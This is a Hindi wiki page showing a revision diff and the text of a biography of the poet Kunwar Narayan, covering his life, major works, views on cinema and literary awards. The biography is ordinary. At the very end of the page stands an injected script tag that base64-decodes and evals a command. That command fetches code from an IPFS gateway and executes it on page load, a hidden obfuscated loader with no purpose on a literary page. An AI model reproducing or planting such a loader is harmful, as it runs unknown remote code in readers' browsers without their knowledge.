कुंवर नारायण: Difference between revisions
[unchecked revision] | [unchecked revision] |
No edit summary |
No edit summary |
||
Line 36: | Line 36: | ||
==जीवन परिचय== | ==जीवन परिचय== | ||
[[19 सितम्बर]], [[1927]] ई. को कुंवर नारायण का जन्म [[उत्तर प्रदेश]] के [[फैजाबाद ज़िला|फैजाबाद ज़िले]] में हुआ था। कुंवर जी ने अपनी इंटर तक की शिक्षा विज्ञान वर्ग के अभ्यर्थी के रूप में प्राप्त की थी, किंतु [[साहित्य]] में रुचि होने के कारण वे आगे साहित्य के विद्यार्थी बन गये थे। उन्होंने 'लखनऊ विश्वविद्यालय' से [[1951]] में अंग्रेज़ी साहित्य में एम.ए. किया। [[1973]] से [[1979]] तक वे '[[संगीत नाटक अकादमी]]' के उप-पीठाध्यक्ष भी रहे। कुंवर जी ने [[1975]] से [[1978]] तक [[अज्ञेय]] द्वारा सम्पादित मासिक पत्रिका में सम्पादक मंडल के सदस्य के रूप में भी कार्य किया। कुंवर नारायण की [[माता]], [[चाचा]] और फिर बहन की असमय ही टी.बी. की बीमारी से मृत्यु हो गई थी। बीमारी से उनकी बहन बृजरानी की मात्र 19 वर्ष की अवस्था में ही मृत्यु हुई थी। इससे उन्हें बड़ा कष्ट और दु:ख पहुँचा था। कुंवर नारायण के अनुसार - | [[19 सितम्बर]], [[1927]] ई. को कुंवर नारायण का जन्म [[उत्तर प्रदेश]] के [[फैजाबाद ज़िला|फैजाबाद ज़िले]] में हुआ था। कुंवर जी ने अपनी इंटर तक की शिक्षा विज्ञान वर्ग के अभ्यर्थी के रूप में प्राप्त की थी, किंतु [[साहित्य]] में रुचि होने के कारण वे आगे साहित्य के विद्यार्थी बन गये थे। उन्होंने 'लखनऊ विश्वविद्यालय' से [[1951]] में अंग्रेज़ी साहित्य में एम.ए. किया। [[1973]] से [[1979]] तक वे '[[संगीत नाटक अकादमी]]' के उप-पीठाध्यक्ष भी रहे। कुंवर जी ने [[1975]] से [[1978]] तक [[अज्ञेय]] द्वारा सम्पादित मासिक पत्रिका में सम्पादक मंडल के सदस्य के रूप में भी कार्य किया। कुंवर नारायण की [[माता]], [[चाचा]] और फिर बहन की असमय ही टी.बी. की बीमारी से मृत्यु हो गई थी। बीमारी से उनकी बहन बृजरानी की मात्र 19 वर्ष की अवस्था में ही मृत्यु हुई थी। इससे उन्हें बड़ा कष्ट और दु:ख पहुँचा था। कुंवर नारायण के अनुसार - | ||
<blockquote>मृत्यु का यह साक्षात्कार व्यक्तिगत स्तर पर तो था ही सामूहिक स्तर पर भी था। द्वितीय विश्व युद्ध खत्म होने के बाद सन् पचपन में मैं पौलेंड गया था। [[विश्वनाथ प्रताप सिंह]] भी गए थे मेरे साथ। वहाँ मैंने युद्ध के विध्वंस को देखा। तब मैं सत्ताइस साल का था। इसीलिए मैं अपने लेखन में जिजीविषा की तलाश करता हूँ। मनुष्य की जो जिजीविषा है, जो जीवन है, वह बहुत बड़ा यथार्थ है।<ref>{{cite web |url=http://shashikanthindi.blogspot.in/2011/09/blog-post_25.html |title=अदम्य जिजीविषा का विनम्र कवि कुंवर नारायण |accessmonthday=19 सितम्बर|accessyear=2012 |last= |first= |authorlink= |format= |publisher= |language=हिंदी}}</ref></blockquote> | <blockquote>मृत्यु का यह साक्षात्कार व्यक्तिगत स्तर पर तो था ही सामूहिक स्तर पर भी था। द्वितीय विश्व युद्ध खत्म होने के बाद सन् पचपन में मैं पौलेंड गया था। [[विश्वनाथ प्रताप सिंह]] भी गए थे मेरे साथ। वहाँ मैंने युद्ध के विध्वंस को देखा। तब मैं सत्ताइस साल का था। इसीलिए मैं अपने लेखन में जिजीविषा की तलाश करता हूँ। मनुष्य की जो जिजीविषा है, जो जीवन है, वह बहुत बड़ा यथार्थ है।<ref name="mcc">{{cite web |url=http://shashikanthindi.blogspot.in/2011/09/blog-post_25.html |title=अदम्य जिजीविषा का विनम्र कवि कुंवर नारायण |accessmonthday=19 सितम्बर|accessyear=2012 |last= |first= |authorlink= |format= |publisher= |language=हिंदी}}</ref></blockquote> | ||
कार चलाना कुंवर जी का पैतृक व्यवसाय रहा था। लेकिन इसके साथ-साथ उन्होंने साहित्य जगत में भी अपना प्रवेश कर लिया। | कार चलाना कुंवर जी का पैतृक व्यवसाय रहा था। लेकिन इसके साथ-साथ उन्होंने साहित्य जगत में भी अपना प्रवेश कर लिया। | ||
Line 51: | Line 51: | ||
==संगीत नाटक अकादमी== | ==संगीत नाटक अकादमी== | ||
कुंवर नारायण के अनुसार - 'मैं जब उत्तर प्रदेश संगीत नाटक अकादेमी का उपाध्यक्ष बना तो मुझे संगीतकारों के संपर्क में और निकट आने का अवसर मिला। [[संगीत]] से पुराना नाता रहा है मेरा। मैं फैयाज खाँ, ओंकारनाथ ठाकुर, अच्छन महाराज, शंभु महाराज आदि से अक्सर मिलता-जुलता था। उनके सान्निध्य ने मेरे साहित्यिक संस्कृति को कई स्तरों पर प्रभावित किया। फिल्म फेस्टिवल पर भी लिखता रहा हूँ। विष्णु खरे, विनोद भारद्वाज और प्रयाग शुक्ल के साथ मिलकर हमने सोचा कि हिंदी में फिल्म समीक्षा उपेक्षित है। दरअसल बचपन से ही मुझे सिनेमा देखने का शौक था। [[लखनऊ|हजरतगंज (लखनऊ)]] में तीन सिनेमा हॉल थे जिनमें रोज शाम को सिनेमा देखता था। ये सन् 40, 50 और 60 की बात है।'<ref | कुंवर नारायण के अनुसार - 'मैं जब उत्तर प्रदेश संगीत नाटक अकादेमी का उपाध्यक्ष बना तो मुझे संगीतकारों के संपर्क में और निकट आने का अवसर मिला। [[संगीत]] से पुराना नाता रहा है मेरा। मैं फैयाज खाँ, ओंकारनाथ ठाकुर, अच्छन महाराज, शंभु महाराज आदि से अक्सर मिलता-जुलता था। उनके सान्निध्य ने मेरे साहित्यिक संस्कृति को कई स्तरों पर प्रभावित किया। फिल्म फेस्टिवल पर भी लिखता रहा हूँ। विष्णु खरे, विनोद भारद्वाज और प्रयाग शुक्ल के साथ मिलकर हमने सोचा कि हिंदी में फिल्म समीक्षा उपेक्षित है। दरअसल बचपन से ही मुझे सिनेमा देखने का शौक था। [[लखनऊ|हजरतगंज (लखनऊ)]] में तीन सिनेमा हॉल थे जिनमें रोज शाम को सिनेमा देखता था। ये सन् 40, 50 और 60 की बात है।'<ref name="mcc"/> | ||
==साहित्य अकादमी द्वारा महत्तर सदस्यता== | ==साहित्य अकादमी द्वारा महत्तर सदस्यता== | ||
साहित्य अकादमी द्वारा हिंदी कवि कुंवर नारायण को महत्तर सदस्यता [[20 दिसंबर]] [[2010]] को [[नई दिल्ली]] में प्रदान की गयी। नई कविता आंदोलन के सशक्त हस्ताक्षर और वर्ष [[2009]] में [[2005]] के [[ज्ञानपीठ पुरस्कार]] से सम्मानित कुंवर नारायण [[अज्ञेय]] द्वारा संपादित 'तीसरा सप्तक' के प्रमुख कवियों में रहे हैं। कुंवर नारायण को अपनी रचनाशीलता में इतिहास और मिथक के जरिए वर्तमान को देखने के लिए जाना जाता है। यद्यपि कुंवर नारायण की मूल विधा कविता रही है पर इसके अलावा उन्होंने कहानी, लेख व समीक्षाओं के साथ-साथ सिनेमा, रंगमंच एवं अन्य कलाओं पर भी बखूबी लेखनी चलायी है।<ref>{{cite web |url=http://www.jagranjosh.com/current-affairs/%E0%A4%95%E0%A5%81%E0%A4%82%E0%A4%B5%E0%A4%B0-%E0%A4%A8%E0%A4%BE%E0%A4%B0%E0%A4%BE%E0%A4%AF%E0%A4%A3-%E0%A4%95%E0%A5%8B-%E0%A4%AE%E0%A4%BF%E0%A4%B2%E0%A5%80-%E0%A4%B8%E0%A4%BE%E0%A4%B9%E0%A4%BF%E0%A4%A4%E0%A5%8D%E0%A4%AF-%E0%A4%85%E0%A4%95%E0%A4%BE%E0%A4%A6%E0%A4%AE%E0%A5%80-%E0%A4%95%E0%A5%80-%E0%A4%AE%E0%A4%B9%E0%A4%A4%E0%A5%8D%E0%A4%A4%E0%A4%B0-%E0%A4%B8%E0%A4%A6%E0%A4%B8%E0%A5%8D%E0%A4%AF%E0%A4%A4%E0%A4%BE-1293258525-2 |title=कुंवर नारायण को मिली साहित्य अकादमी की महत्तर सदस्यता|accessmonthday=19 सितम्बर|accessyear=2012 |last= |first= |authorlink= |format= |publisher= |language=हिंदी}}</ref> | साहित्य अकादमी द्वारा हिंदी कवि कुंवर नारायण को महत्तर सदस्यता [[20 दिसंबर]] [[2010]] को [[नई दिल्ली]] में प्रदान की गयी। नई कविता आंदोलन के सशक्त हस्ताक्षर और वर्ष [[2009]] में [[2005]] के [[ज्ञानपीठ पुरस्कार]] से सम्मानित कुंवर नारायण [[अज्ञेय]] द्वारा संपादित 'तीसरा सप्तक' के प्रमुख कवियों में रहे हैं। कुंवर नारायण को अपनी रचनाशीलता में इतिहास और मिथक के जरिए वर्तमान को देखने के लिए जाना जाता है। यद्यपि कुंवर नारायण की मूल विधा कविता रही है पर इसके अलावा उन्होंने कहानी, लेख व समीक्षाओं के साथ-साथ सिनेमा, रंगमंच एवं अन्य कलाओं पर भी बखूबी लेखनी चलायी है।<ref>{{cite web |url=http://www.jagranjosh.com/current-affairs/%E0%A4%95%E0%A5%81%E0%A4%82%E0%A4%B5%E0%A4%B0-%E0%A4%A8%E0%A4%BE%E0%A4%B0%E0%A4%BE%E0%A4%AF%E0%A4%A3-%E0%A4%95%E0%A5%8B-%E0%A4%AE%E0%A4%BF%E0%A4%B2%E0%A5%80-%E0%A4%B8%E0%A4%BE%E0%A4%B9%E0%A4%BF%E0%A4%A4%E0%A5%8D%E0%A4%AF-%E0%A4%85%E0%A4%95%E0%A4%BE%E0%A4%A6%E0%A4%AE%E0%A5%80-%E0%A4%95%E0%A5%80-%E0%A4%AE%E0%A4%B9%E0%A4%A4%E0%A5%8D%E0%A4%A4%E0%A4%B0-%E0%A4%B8%E0%A4%A6%E0%A4%B8%E0%A5%8D%E0%A4%AF%E0%A4%A4%E0%A4%BE-1293258525-2 |title=कुंवर नारायण को मिली साहित्य अकादमी की महत्तर सदस्यता|accessmonthday=19 सितम्बर|accessyear=2012 |last= |first= |authorlink= |format= |publisher= |language=हिंदी}}</ref> | ||
==सिनेमा में रुचि== | ==सिनेमा में रुचि== | ||
फिल्मों में कुँवर जी की दिलचस्पी की एक खास वजह है। दरअसल कुंवर नारायण को फिल्म माध्यम और कविता में काफी समानता दिखती है। वह कहते हैं,- 'जिस तरह फिल्मों में रशेज इकट्ठा किए जाते हैं और बाद में उन्हें संपादित किया जाता है उसी तरह कविता रची जाती है। फिल्म की रचना-प्रक्रिया और कविता की रचना-प्रक्रिया में साम्य है। आर्सन वेल्स ने भी कहा है कि कविता फिल्म की तरह है। मैं कविता कभी भी एक नैरेटिव की तरह नहीं बल्कि टुकड़ों में लिखता हूँ। ग्रीस के मशहूर फिल्मकार लुई माल सड़क पर घूमकर पहले शुटिंग करते थे और उसके बाद कथानक बनाते थे। क्रिस्तॉफ क्लिस्वोव्स्की, इग्मार बर्गमैन, तारकोव्स्की, आंद्रेई वाज्दा आदि मेरे प्रिय फिल्मकार हैं। इनमें से तारकोव्स्की को मैं बहुत ज्यादा पसंद करता हूँ। उसको मैं फिल्मों का कवि मानता हूँ। हम शब्द इस्तेमाल करते हैं, वो बिम्ब इस्तेमाल करते हैं, लेकिन दोनों रचना करते हैं। कला, फिल्म, संगीत ये सभी मिलकर एक संस्कृति, मानव संस्कृति की रचना करती है लेकिन हरेक की अपनी जगह है, जहाँ से वह दूसरी कलाओं से संवाद स्थापित करे। साहित्य का भी अपना एक कोना है, जहाँ उसकी पहचान सुदृढ़ रहनी चाहिए। उसे जब दूसरी कलाओं या राजनीति में हम मिला देते हैं तो हम उसके साथ न्याय नहीं करते। आप समझ रहे हैं न मेरी बात?<ref | फिल्मों में कुँवर जी की दिलचस्पी की एक खास वजह है। दरअसल कुंवर नारायण को फिल्म माध्यम और कविता में काफी समानता दिखती है। वह कहते हैं,- 'जिस तरह फिल्मों में रशेज इकट्ठा किए जाते हैं और बाद में उन्हें संपादित किया जाता है उसी तरह कविता रची जाती है। फिल्म की रचना-प्रक्रिया और कविता की रचना-प्रक्रिया में साम्य है। आर्सन वेल्स ने भी कहा है कि कविता फिल्म की तरह है। मैं कविता कभी भी एक नैरेटिव की तरह नहीं बल्कि टुकड़ों में लिखता हूँ। ग्रीस के मशहूर फिल्मकार लुई माल सड़क पर घूमकर पहले शुटिंग करते थे और उसके बाद कथानक बनाते थे। क्रिस्तॉफ क्लिस्वोव्स्की, इग्मार बर्गमैन, तारकोव्स्की, आंद्रेई वाज्दा आदि मेरे प्रिय फिल्मकार हैं। इनमें से तारकोव्स्की को मैं बहुत ज्यादा पसंद करता हूँ। उसको मैं फिल्मों का कवि मानता हूँ। हम शब्द इस्तेमाल करते हैं, वो बिम्ब इस्तेमाल करते हैं, लेकिन दोनों रचना करते हैं। कला, फिल्म, संगीत ये सभी मिलकर एक संस्कृति, मानव संस्कृति की रचना करती है लेकिन हरेक की अपनी जगह है, जहाँ से वह दूसरी कलाओं से संवाद स्थापित करे। साहित्य का भी अपना एक कोना है, जहाँ उसकी पहचान सुदृढ़ रहनी चाहिए। उसे जब दूसरी कलाओं या राजनीति में हम मिला देते हैं तो हम उसके साथ न्याय नहीं करते। आप समझ रहे हैं न मेरी बात?<ref name="mcc"/> | ||
====प्रमुख कृतियाँ==== | ====प्रमुख कृतियाँ==== | ||
इनकी प्रमुख कृतियाँ निम्नलिखित हैं- | इनकी प्रमुख कृतियाँ निम्नलिखित हैं- |
Revision as of 11:52, 19 September 2012
कुंवर नारायण
| |
जन्म | 19 सितम्बर, 1927 |
जन्म भूमि | फैजाबाद, उत्तर प्रदेश |
कर्म-क्षेत्र | कवि, लेखक |
मुख्य रचनाएँ | 'चक्रव्यूह', 'तीसरा सप्तक', 'परिवेश : हम-तुम', 'आत्मजयी', 'आकारों के आसपास', 'अपने सामने', 'वाजश्रवा के बहाने', 'कोई दूसरा नहीं' और 'इन दिनों' आदि। |
भाषा | हिन्दी, अंग्रेज़ी |
विद्यालय | लखनऊ विश्वविद्यालय |
शिक्षा | अंग्रेज़ी साहित्य में एम.ए. |
पुरस्कार-उपाधि | 'ज्ञानपीठ पुरस्कार', 'साहित्य अकादमी पुरस्कार', 'व्यास सम्मान', 'कुमार आशान पुरस्कार', 'प्रेमचंद पुरस्कार', 'राष्ट्रीय कबीर सम्मान', 'शलाका सम्मान', 'अन्तर्राष्ट्रीय प्रीमियो फ़ेरेनिया सम्मान' और 'पद्मभूषण'। |
नागरिकता | भारतीय |
अद्यतन | 3:47, 19 सितम्बर 2010 (IST) |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
कुंवर नारायण (जन्म- 19 सितम्बर, 1927, फैजाबाद, उत्तर प्रदेश) हिन्दी के सम्मानित कवियों में गिने जाते हैं। कुंवर जी की प्रतिष्ठा और आदर हिन्दी साहित्य की भयानक गुटबाजी के परे सर्वमान्य है। उनकी ख्याति सिर्फ़ एक लेखक की तरह ही नहीं, बल्कि कला की अनेक विधाओं में गहरी रुचि रखने वाले रसिक विचारक के समान भी है। कुंवर नारायण को अपनी रचनाशीलता में इतिहास और मिथक के माध्यम से वर्तमान को देखने के लिए जाना जाता है। उनका रचना संसार इतना व्यापक एवं जटिल है कि उसको कोई एक नाम देना सम्भव नहीं है। फ़िल्म समीक्षा तथा अन्य कलाओं पर भी उनके लेख नियमित रूप से पत्र-पत्रिकाओं में छपते रहे हैं। आपने अनेक अन्य भाषाओं के कवियों का हिन्दी में अनुवाद किया है और उनकी स्वयं की कविताओं और कहानियों के कई अनुवाद विभिन्न भारतीय और विदेशी भाषाओं में छपे हैं। 'आत्मजयी' का 1989 में इतालवी अनुवाद रोम से प्रकाशित हो चुका है। 'युगचेतना' और 'नया प्रतीक' तथा 'छायानट' के संपादक-मण्डल में भी कुंवर नारायण रहे हैं।
जीवन परिचय
19 सितम्बर, 1927 ई. को कुंवर नारायण का जन्म उत्तर प्रदेश के फैजाबाद ज़िले में हुआ था। कुंवर जी ने अपनी इंटर तक की शिक्षा विज्ञान वर्ग के अभ्यर्थी के रूप में प्राप्त की थी, किंतु साहित्य में रुचि होने के कारण वे आगे साहित्य के विद्यार्थी बन गये थे। उन्होंने 'लखनऊ विश्वविद्यालय' से 1951 में अंग्रेज़ी साहित्य में एम.ए. किया। 1973 से 1979 तक वे 'संगीत नाटक अकादमी' के उप-पीठाध्यक्ष भी रहे। कुंवर जी ने 1975 से 1978 तक अज्ञेय द्वारा सम्पादित मासिक पत्रिका में सम्पादक मंडल के सदस्य के रूप में भी कार्य किया। कुंवर नारायण की माता, चाचा और फिर बहन की असमय ही टी.बी. की बीमारी से मृत्यु हो गई थी। बीमारी से उनकी बहन बृजरानी की मात्र 19 वर्ष की अवस्था में ही मृत्यु हुई थी। इससे उन्हें बड़ा कष्ट और दु:ख पहुँचा था। कुंवर नारायण के अनुसार -
मृत्यु का यह साक्षात्कार व्यक्तिगत स्तर पर तो था ही सामूहिक स्तर पर भी था। द्वितीय विश्व युद्ध खत्म होने के बाद सन् पचपन में मैं पौलेंड गया था। विश्वनाथ प्रताप सिंह भी गए थे मेरे साथ। वहाँ मैंने युद्ध के विध्वंस को देखा। तब मैं सत्ताइस साल का था। इसीलिए मैं अपने लेखन में जिजीविषा की तलाश करता हूँ। मनुष्य की जो जिजीविषा है, जो जीवन है, वह बहुत बड़ा यथार्थ है।[1]
कार चलाना कुंवर जी का पैतृक व्यवसाय रहा था। लेकिन इसके साथ-साथ उन्होंने साहित्य जगत में भी अपना प्रवेश कर लिया।
लेखन कार्य
कुंवर नारायण इस दौर के सर्वश्रेष्ठ साहित्यकार हैं। उनकी काव्ययात्रा 'चक्रव्यूह' से शुरू हुई थी। इसके साथ ही उन्होंने हिन्दी के काव्य पाठकों में एक नई तरह की समझ पैदा की। यद्यपि कुंवर नारायण की मूल विधा कविता ही रही है, किंतु इसके अलावा उन्होंने कहानी, लेख व समीक्षाओं के साथ-साथ सिनेमा, रंगमंच एवं अन्य कलाओं पर भी बखूबी अपनी लेखनी चलायी। इसके चलते जहाँ उनके लेखन में सहज ही संप्रेषणीयता आई, वहीं वे प्रयोगधर्मी भी बने रहे। उनकी कविताओं और कहानियों का कई भारतीय तथा विदेशी भाषाओं में अनुवाद भी हो चुका है। 'तनाव' पत्रिका के लिए उन्होंने कवाफी तथा ब्रोर्खेस की कविताओं का भी अनुवाद किया।
- चक्रव्यूह'
कुँवर नारायण हमारे दौर के सर्वश्रेष्ठ साहित्यकार हैं। उनकी काव्ययात्रा 'चक्रव्यूह' से शुरू हुई। इसके साथ ही उन्होंने हिन्दी के काव्य पाठकों में एक नई तरह की समझ पैदा की।
- परिवेश हम तुम
उनके संग्रह 'परिवेश हम तुम' के माध्यम से मानवीय संबंधों की एक विरल व्याख्या हम सबके सामने आई।
- आत्मजयी
उन्होंने अपने प्रबंध 'आत्मजयी' में मृत्यु संबंधी शाश्वत समस्या को कठोपनिषद का माध्यम बनाकर अद्भुत व्याख्या के साथ हमारे सामने रखा। इसमें नचिकेता अपने पिता की आज्ञा, 'मृत्य वे त्वा ददामीति' अर्थात मैं तुम्हें मृत्यु को देता हूँ, को शिरोधार्य करके यम के द्वार पर चला जाता है, जहाँ वह तीन दिन तक भूखा-प्यासा रहकर यमराज के घर लौटने की प्रतीक्षा करता है। उसकी इस साधना से प्रसन्न होकर यमराज उसे तीन वरदान माँगने की अनुमति देते हैं। नचिकेता इनमें से पहला वरदान यह माँगता है कि उसके पिता वाजश्रवा का क्रोध समाप्त हो जाए।
- वाजश्रवा के बहाने
कुँवर नारायण ने हिन्दी के काव्य पाठकों में एक नई तरह की समझ पैदा की। नचिकेता के इसी कथन को आधार बनाकर कुँवर नारायणजी की जो कृति 2008 में आई, 'वाजश्रवा के बहाने', उसमें उन्होंने पिता वाजश्रवा के मन में जो उद्वेलन चलता रहा उसे अत्यधिक सात्विक शब्दावली में काव्यबद्ध किया है। इस कृति की विरल विशेषता यह है कि 'अमूर्त'को एक अत्यधिक सूक्ष्म संवेदनात्मक शब्दावली देकर नई उत्साह परख जिजीविषा को वाणी दी है। जहाँ एक ओर आत्मजयी में कुँवरनारायण जी ने मृत्यु जैसे विषय का निर्वचन किया है, वहीं इसके ठीक विपरीत 'वाजश्रवा के बहाने'कृति में अपनी विधायक संवेदना के साथ जीवन के आलोक को रेखांकित किया है। [2]
संगीत नाटक अकादमी
कुंवर नारायण के अनुसार - 'मैं जब उत्तर प्रदेश संगीत नाटक अकादेमी का उपाध्यक्ष बना तो मुझे संगीतकारों के संपर्क में और निकट आने का अवसर मिला। संगीत से पुराना नाता रहा है मेरा। मैं फैयाज खाँ, ओंकारनाथ ठाकुर, अच्छन महाराज, शंभु महाराज आदि से अक्सर मिलता-जुलता था। उनके सान्निध्य ने मेरे साहित्यिक संस्कृति को कई स्तरों पर प्रभावित किया। फिल्म फेस्टिवल पर भी लिखता रहा हूँ। विष्णु खरे, विनोद भारद्वाज और प्रयाग शुक्ल के साथ मिलकर हमने सोचा कि हिंदी में फिल्म समीक्षा उपेक्षित है। दरअसल बचपन से ही मुझे सिनेमा देखने का शौक था। हजरतगंज (लखनऊ) में तीन सिनेमा हॉल थे जिनमें रोज शाम को सिनेमा देखता था। ये सन् 40, 50 और 60 की बात है।'[1]
साहित्य अकादमी द्वारा महत्तर सदस्यता
साहित्य अकादमी द्वारा हिंदी कवि कुंवर नारायण को महत्तर सदस्यता 20 दिसंबर 2010 को नई दिल्ली में प्रदान की गयी। नई कविता आंदोलन के सशक्त हस्ताक्षर और वर्ष 2009 में 2005 के ज्ञानपीठ पुरस्कार से सम्मानित कुंवर नारायण अज्ञेय द्वारा संपादित 'तीसरा सप्तक' के प्रमुख कवियों में रहे हैं। कुंवर नारायण को अपनी रचनाशीलता में इतिहास और मिथक के जरिए वर्तमान को देखने के लिए जाना जाता है। यद्यपि कुंवर नारायण की मूल विधा कविता रही है पर इसके अलावा उन्होंने कहानी, लेख व समीक्षाओं के साथ-साथ सिनेमा, रंगमंच एवं अन्य कलाओं पर भी बखूबी लेखनी चलायी है।[3]
सिनेमा में रुचि
फिल्मों में कुँवर जी की दिलचस्पी की एक खास वजह है। दरअसल कुंवर नारायण को फिल्म माध्यम और कविता में काफी समानता दिखती है। वह कहते हैं,- 'जिस तरह फिल्मों में रशेज इकट्ठा किए जाते हैं और बाद में उन्हें संपादित किया जाता है उसी तरह कविता रची जाती है। फिल्म की रचना-प्रक्रिया और कविता की रचना-प्रक्रिया में साम्य है। आर्सन वेल्स ने भी कहा है कि कविता फिल्म की तरह है। मैं कविता कभी भी एक नैरेटिव की तरह नहीं बल्कि टुकड़ों में लिखता हूँ। ग्रीस के मशहूर फिल्मकार लुई माल सड़क पर घूमकर पहले शुटिंग करते थे और उसके बाद कथानक बनाते थे। क्रिस्तॉफ क्लिस्वोव्स्की, इग्मार बर्गमैन, तारकोव्स्की, आंद्रेई वाज्दा आदि मेरे प्रिय फिल्मकार हैं। इनमें से तारकोव्स्की को मैं बहुत ज्यादा पसंद करता हूँ। उसको मैं फिल्मों का कवि मानता हूँ। हम शब्द इस्तेमाल करते हैं, वो बिम्ब इस्तेमाल करते हैं, लेकिन दोनों रचना करते हैं। कला, फिल्म, संगीत ये सभी मिलकर एक संस्कृति, मानव संस्कृति की रचना करती है लेकिन हरेक की अपनी जगह है, जहाँ से वह दूसरी कलाओं से संवाद स्थापित करे। साहित्य का भी अपना एक कोना है, जहाँ उसकी पहचान सुदृढ़ रहनी चाहिए। उसे जब दूसरी कलाओं या राजनीति में हम मिला देते हैं तो हम उसके साथ न्याय नहीं करते। आप समझ रहे हैं न मेरी बात?[1]
प्रमुख कृतियाँ
इनकी प्रमुख कृतियाँ निम्नलिखित हैं-
- चक्रव्यूह - 1956
- तीसरा सप्तक - 1959
- परिवेश : हम-तुम - 1961
- आत्मजयी/प्रबन्ध काव्य - 1965
- आकारों के आसपास - 1971
- अपने सामने - 1979
- वाजश्रवा के बहाने
- कोई दूसरा नहीं
- इन दिनों
समालोचना
इनके संग्रह 'परिवेश हम तुम' के माध्यम से मानवीय संबंधों की एक विरल व्याख्या सबके सामने आई। उन्होंने अपने प्रबंध 'आत्मजयी' में मृत्यु संबंधी शाश्वत समस्या को कठोपनिषद का माध्यम बनाकर अद्भुत व्याख्या के साथ प्रस्तुत किया। इस कृति की विरल विशेषता यह है कि 'अमूर्त' को एक अत्यधिक सूक्ष्म संवेदनात्मक शब्दावली देकर नई उत्साह परख जिजीविषा को वाणी दी है। जहाँ एक ओर 'आत्मजयी' में कुंवर नारायण ने मृत्यु जैसे विषय का निर्वचन किया है, वहीं इसके ठीक विपरीत 'वाजश्रवा के बहाने' कृति में अपनी विधायक संवेदना के साथ जीवन के आलोक को रेखांकित किया है। यह कृति आज के इस बर्बर समय में भटकती हुई मानसिकता को न केवल राहत देती है, बल्कि यह प्रेरणा भी देती है कि दो पीढ़ियों के बीच समन्वय बनाए रखने का समझदार ढंग क्या हो सकता है। उन्हें पढ़ते हुए, ये लगता है कि कुंवर नारायण हिन्दी की कविता के पिछले 55 वर्ष के इतिहास के संभवतः श्रेष्ठतम कवि हैं।
पुरस्कार व सम्मान
कुंवर नारायण को 2009 में वर्ष 2005 के 'ज्ञानपीठ पुरस्कार' से सम्मानित किया गया।[4] 6 अक्टूबर को राष्ट्रपति प्रतिभा पाटिल ने उन्हें देश के सबसे बड़े साहित्यिक सम्मान से सम्मानित किया। कुंवर जी को 'साहित्य अकादमी पुरस्कार', 'व्यास सम्मान', 'कुमार आशान पुरस्कार', 'प्रेमचंद पुरस्कार', 'राष्ट्रीय कबीर सम्मान', 'शलाका सम्मान', 'मेडल ऑफ़ वॉरसा यूनिवर्सिटी', पोलैंड और रोम के 'अन्तर्राष्ट्रीय प्रीमियो फ़ेरेनिया सम्मान' और 2009 में 'पद्मभूषण' से भी सम्मानित किया जा चुका है।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ 1.0 1.1 1.2 अदम्य जिजीविषा का विनम्र कवि कुंवर नारायण (हिंदी)। । अभिगमन तिथि: 19 सितम्बर, 2012।
- ↑ कुंवर नारायण को ज्ञानपीठ पुरस्कार (हिंदी)। । अभिगमन तिथि: 19 सितम्बर, 2012।
- ↑ कुंवर नारायण को मिली साहित्य अकादमी की महत्तर सदस्यता (हिंदी)। । अभिगमन तिथि: 19 सितम्बर, 2012।
- ↑ कुंवर नारायण को ज्ञानपीठ पुरस्कार (हिंदी)। । अभिगमन तिथि: 19 सितम्बर, 2012।
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>